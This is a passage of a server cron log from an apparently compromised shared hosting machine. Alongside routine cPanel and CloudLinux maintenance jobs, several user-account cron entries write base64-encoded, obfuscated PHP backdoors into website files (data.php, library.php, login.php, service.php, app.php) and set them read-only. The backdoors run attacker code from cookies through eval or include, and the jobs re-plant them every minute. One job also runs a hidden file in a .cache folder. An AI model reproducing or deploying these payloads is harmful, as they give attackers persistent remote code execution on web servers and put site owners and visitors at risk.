"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:04:01 medusa CROND[30648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:04:01 medusa CROND[30652]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:04:01 medusa CROND[30655]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:04:01 medusa CROND[30657]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:04:01 medusa CROND[30658]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:04:01 medusa CROND[30661]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:04:01 medusa CROND[30664]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:05:01 medusa CROND[18870]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:05:01 medusa CROND[18900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:05:01 medusa CROND[19008]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:05:01 medusa CROND[19012]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:05:01 medusa CROND[19013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:05:01 medusa CROND[19014]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:05:01 medusa CROND[19016]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:05:01 medusa CROND[19018]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 07:05:01 medusa CROND[19019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:05:01 medusa CROND[19023]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:05:01 medusa CROND[19024]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:05:01 medusa CROND[19033]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 07:05:01 medusa CROND[19034]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:05:01 medusa CROND[19032]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:05:01 medusa CROND[19035]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:05:01 medusa CROND[19036]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:05:01 medusa CROND[19031]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:05:01 medusa CROND[19037]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:05:01 medusa CROND[19042]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:05:01 medusa CROND[19064]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:05:01 medusa CROND[19043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:05:01 medusa CROND[19065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:05:01 medusa CROND[19051]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:05:01 medusa CROND[19076]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:06:02 medusa CROND[8810]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:06:02 medusa CROND[8811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:06:02 medusa CROND[8812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:06:02 medusa CROND[8814]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:06:02 medusa CROND[8815]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:06:02 medusa CROND[8816]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
